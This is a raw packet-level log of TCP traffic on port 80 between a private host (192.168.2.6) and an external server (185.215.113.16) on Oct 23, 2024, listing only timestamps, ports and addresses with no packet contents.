Oct 23, 2024 17:51:29.782030106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.782044888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.782068014 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.782089949 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.796787977 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.830702066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.830730915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.830746889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.830801964 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.830910921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.830928087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.830944061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.830971003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.830972910 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.830987930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831003904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831007004 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831012964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831029892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831044912 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831046104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831054926 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831063032 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831079006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831090927 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831094027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831110954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831127882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831127882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831161022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831161022 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831185102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831201077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831216097 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831226110 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831240892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831255913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831271887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831286907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831286907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831286907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831302881 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831311941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831327915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831341982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831356049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831365108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831376076 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831382036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831398010 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831401110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831415892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831418037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831434965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831449986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831450939 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831465960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831473112 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831485033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831515074 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831563950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831592083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831603050 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831608057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831623077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831639051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831655025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831671000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831671000 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831686974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831693888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831703901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831717014 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.831727982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.831753016 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.832031965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832102060 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.832170010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832194090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832422972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832448006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832451105 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.832464933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832480907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832493067 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.832498074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832514048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832520008 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.832537889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832552910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832556009 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.832568884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832587004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832592010 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.832602978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832619905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832628965 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.832668066 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.832672119 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832786083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832811117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832828045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832844019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832854033 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.832859993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832875013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832891941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832904100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832910061 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.832910061 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.832928896 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.832962036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832978964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.832993984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833002090 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833009005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833026886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833035946 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833041906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833058119 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833071947 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833075047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833093882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833105087 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833117008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833142042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833146095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833157063 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833174944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833184958 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833190918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833208084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833211899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833252907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833288908 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833384991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833534002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833549976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833564997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833580017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833580971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833595991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833609104 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833610058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833626986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833642960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833648920 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833661079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833673000 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833676100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833703041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833703995 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833719015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833735943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833745003 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833754063 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833770990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833780050 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833815098 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833853006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833868027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833884001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833899021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833909035 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833914995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833930016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833945990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833955050 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833961010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833975077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.833977938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.833993912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.834002972 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.834009886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.834022999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.834043026 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.834058046 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.834106922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.834146976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.834161997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.834197998 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.834237099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.834254026 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.834269047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.834285975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.834292889 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.834304094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.834314108 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.834320068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.834347010 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.836913109 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.862309933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.862355947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.862360954 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.862371922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.862653971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.895621061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895643950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895668983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895684004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895684958 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.895710945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895726919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895736933 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.895751953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895767927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895780087 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.895783901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895800114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895803928 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.895868063 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.895898104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895915031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895931959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895948887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895967960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895975113 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.895987034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.895993948 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896004915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896022081 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896116018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896131992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896147013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896161079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896171093 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896190882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896192074 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896217108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896229982 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896233082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896250963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896265984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896279097 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896287918 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896295071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896310091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896311045 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896336079 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896336079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896353006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896368027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896378040 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896383047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896399021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896404028 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896428108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896431923 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896445990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896461010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896486998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896497965 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896502972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896518946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896522045 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896552086 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896604061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896619081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896635056 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896692991 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896720886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896739006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896755934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896759987 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896771908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896795034 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896799088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896816969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896833897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896847010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896852016 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896872044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896878958 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896888971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896903992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896914005 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896922112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896945953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896959066 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896961927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896976948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.896982908 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.896995068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897011042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897017956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.897080898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897098064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897114992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897119045 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.897131920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897142887 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.897151947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897165060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897169113 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.897205114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897211075 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.897224903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897243023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897254944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897280931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.897294044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897305965 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.897309065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897344112 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.897349119 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897365093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897406101 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.897407055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897423029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897439003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897452116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897475004 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.897490978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897495985 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.897509098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897527933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897542953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.897546053 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.897588968 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.898525953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.898542881 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.898557901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.898643970 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899143934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899172068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899183989 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899188042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899250984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899265051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899281025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899288893 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.899307013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.899310112 CEST	49763	80	192.168.2.6	185.215.113.16
